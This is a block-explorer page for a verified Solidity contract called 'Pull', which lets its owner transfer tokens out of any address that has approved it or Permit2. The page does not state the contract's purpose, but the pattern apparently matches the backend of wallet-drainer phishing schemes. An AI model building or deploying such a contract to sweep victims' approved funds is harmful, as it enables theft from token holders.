Skip to content
Verified contractExactMIT

Pull

Address0xbfe0dafe03043a8d88ced25d2c45ee904ba0d947
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.34

 

Same code

2 more contracts

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,352,379
Creation transaction
0xe051a5cd1d…82b221598a

liter.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPermit2 {
    function transferFrom(address from, address to, uint160 amount, address token) external;
}

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract Pull {
    address public owner;
    IPermit2 public constant PERMIT2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);

    constructor() {
        owner = msg.sender;
    }

    // 1. Для Permit2 (Uniswap)
    function pullTokensViaPermit2(address token, address from, address to, uint256 amount) external {
        require(msg.sender == owner, "Only owner can call");
        PERMIT2.transferFrom(from, to, uint160(amount), token);
    }
    
    // 2. Для обычного Approve и Permit (ERC-2612)
    function pullTokens(address token, address from, address to, uint256 amount) external {
        require(msg.sender == owner, "Only owner can call");
        IERC20(token).transferFrom(from, to, amount);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.